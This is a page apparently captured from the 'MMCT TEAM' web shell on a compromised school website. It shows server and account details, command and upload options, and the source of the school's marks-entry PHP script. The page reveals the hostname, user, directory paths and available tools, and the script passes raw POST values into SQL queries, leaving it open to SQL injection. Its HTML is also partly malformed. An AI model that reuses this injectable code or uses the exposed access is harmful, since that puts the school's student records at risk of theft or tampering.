MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.142
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/code/img/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/code/img/../new.php
<?php 
include("../link/databaseconnection.php");
$flag=$_REQUEST['flag'];
if(!$flag)
			{
				header("location:http://gsmemorialpublicschool.brkweb.com");
			}
	
switch($flag)
{
	case 1:
	     ?> <select class="form-control" name="type" > <?php
	    $exam=$_POST['class12'];
		$selc="select * from pattern where exam='$exam'";
	$resc=mysqli_query($conn,$selc);
	 while($rowc=mysqli_fetch_array($resc,MYSQLI_BOTH))
	  {
	  ?>
	  <option><?php echo $rowc['type'];?></option>
	  <?php
	  }
	   ?></select> <?php
	   
	break;
	
case 2:
	    
	    $session=$_POST['session'];
	    $class=$_POST['class'];
	    $exam=$_POST['exam'];
	    $type=$_POST['type'];
	    	$selc2="select * from sub where class='$class'";
	$resc2=mysqli_query($conn,$selc2);
	$row1=mysqli_fetch_array($resc2,MYSQLI_BOTH);
	 ?>
	 <style>
	     
	     
	     #d{float:left;width:15px;border:1px solid;}
	 </style>
	 
	 
	 <div class="row">
	      
   
      <div id='d'>Sr</div>
      <id='d'>Sch</div>
  
      <id='d' >Name</div>
       <id='d' >Father</div>
       <id='d'  ><?php echo $row1['s1'] ?></div>
        <id='d' style='width: 20px;'><?php echo $row1['s2'] ?></div>
         <id='d' style='width: 20px;'><?php echo $row1['s3'] ?></div>
          <id='d' style='width: 20px;'><?php echo $row1['s4'] ?></div>
           <id='d' style='width: 20px;'><?php echo $row1['s5'] ?></div>
            <id='d' style='width: 20px;'><?php echo $row1['s6'] ?></div>
             <id='d' style='width: 20px;'><?php echo $row1['s7'] ?></div>
              <id='d' style='width: 20px;'><?php echo $row1['s8'] ?></div>
               <id='d' style='width: 20px;'><?php echo $row1['s9'] ?></div>
                <id='d' style='width: 20px;'><?php echo $row1['s10'] ?></div>
    
 
  <tbody> <?php
	 $s=1;
		$selc="select * from registration where session='$session' and subject='$class' and status='' order by name asc";
	$resc=mysqli_query($conn,$selc);
	 while($row=mysqli_fetch_array($resc,MYSQLI_BOTH))
	  {
	      $app=$row['application'];
	       $reg=$row['id'];
	       
	       $selc12="select * from mark where session='$session' and exam='$exam' and type='$type' and sch='$app' ";
	$resc12=mysqli_query($conn,$selc12);
	$row12=mysqli_fetch_array($resc12,MYSQLI_BOTH);
	
	  ?>
	 
    <tr>
     <input type='hidden' value='<?php echo $class  ?>' name="class"  >
     <input type='hidden' value='<?php echo $session  ?>' name="session"  >
     <input type='hidden' value='<?php echo $exam  ?>' name="exam"  >
     <input type='hidden' value='<?php echo $type  ?>' name="type"  >
      <td><?php echo $s++;?></td>
      <td width='12px'><input type='text' value="<?php echo $row['application']?>" name="<?php echo $app.'app' ?>" readonly  ></td>
     <td><input type='text' value="<?php echo $row['name']?>" name="<?php echo $app.'name' ?>"  readonly ></td>
     <td><input type='text' value="<?php echo $row['fname']?>" name="<?php echo $app.'fname' ?>"  readonly ></td>
      <td><input type='text' value="<?php echo $row12['s1']?>" name="<?php echo $app.'s1' ?>"  ></td>
       <td><input type='text' value="<?php echo $row12['s2']?>" name="<?php echo $app.'s2' ?>"  ></td>
        <td><input type='text' value="<?php echo $row12['s3']?>" name="<?php echo $app.'s3' ?>"  ></td>
         <td><input type='text' value="<?php echo $row12['s4']?>" name="<?php echo $app.'s4' ?>"  ></td>
          <td><input type='text' value="<?php echo $row12['s5']?>" name="<?php echo $app.'s4' ?>"  ></td>
           <td><input type='text' value="<?php echo $row12['s6']?>" name="<?php echo $app.'s6' ?>"  ></td>
            <td><input type='text' value="<?php echo $row12['s7']?>" name="<?php echo $app.'s7' ?>"  ></td>
             <td><input type='text' value="<?php echo $row12['s8']?>" name="<?php echo $app.'s8' ?>"  ></td>
              <td><input type='text' value="<?php echo $row12['s9']?>" name="<?php echo $app.'s9' ?>"  ></td>
               <td><input type='text' value="<?php echo $row12['s10']?>" name="<?php echo $app.'s10' ?>"  ></td>
    </tr>
   
	  <?php
	  }
	 ?></tbody>
	          </table>
	      </div> <?php  
	   
break;

case 3:
	     $session=$_POST['session'];
	     $class=$_POST['class'];
	     $exam=$_POST['exam'];
	     $type=$_POST['type'];
			 
					$sel12="select * from registration where session='$session' and subject='$class' and status='' order by name asc";
					$res12=mysqli_query($conn,$sel12);
					$s=1;
					while($row12=mysqli_fetch_array($res12,MYSQLI_BOTH))
					{
					    $app=$row12['application'];
						$app=$_POST[$app."app"];
						//echo $app;
							$name=$_POST[$app."name"];
					//	echo $name;
					
					$s1=$_POST[$app."s1"];
						$s2=$_POST[$app."s2"];
							$s3=$_POST[$app."s3"];
								$s4=$_POST[$app."s4"];	
								$s5=$_POST[$app."s5"];
									$s6=$_POST[$app."s6"];
										$s7=$_POST[$app."s7"];
											$s8=$_POST[$app."s8"];
												$s9=$_POST[$app."s9"];
													$s10=$_POST[$app."s10"];
									if($type=='PT I' or $type=='PT II')
									{
									    if($s1>10 or $s2>10 or $s3>10 or $s4>10 or $s5>10 or $s6>10 or $s7>10 or $s8>10 or $s9>10 or $s10>10){echo 'any Greater Than 10 Please Check'; exit();}
									}
									
									if($type=='Note Book' or $type=='Sub Enr.')
									{
									    if($s1>5 or $s2>5 or $s3>5 or $s4>5 or $s5>5 or $s6>5 or $s7>5 or $s8>5 or $s9>5 or $s10>5){echo 'any Greater Than 5 Please Check'; exit();}
									}
									if($type=='Half Yearly' or $type=='Annual Exam')
									{
									    if($s1>80 or $s2>80 or $s3>80 or $s4>80 or $s5>80 or $s6>80 or $s7>80 or $s8>80 or $s9>80 or $s10>80){echo 'any Greater Than 80 Please Check'; exit();}
									}
									
													
													
													$sel121="select * from mark where session='$session' and exam='$exam' and type='$type' and sch='$app'";
					$res121=mysqli_query($conn,$sel121);
					if($row121=mysqli_fetch_array($res121,MYSQLI_BOTH))
					{
					    $up="update mark set s1='$s1',s2='$s2',s3='$s3',s4='$s4' ,s5='$s5',s6='$s6' ,s7='$s7',s8='$s8',s9='$s9',s10='$s10' where  session='$session' and exam='$exam' and type='$type' and sch='$app'";
					    if(mysqli_query($conn,$up))
					    {
					        echo '';
					    }
					}
					else
					{
					    $ins="insert into mark (sch,reg_id,exam,type,session,class,s1,s2,s3,s4,s5,s6,s7,s8,s9,s10) values('$app','','$exam','$type','$session','$class','$s1','$s2','$s3','$s4','$s5','$s6','$s7','$s8','$s9','$s10')";
					    if(mysqli_query($conn,$ins))
					    {
					        echo '';
					    }
					}
					
					$s++;}
	 
	 
	
	
	
	break;
	


}


?>

MMCT - 2023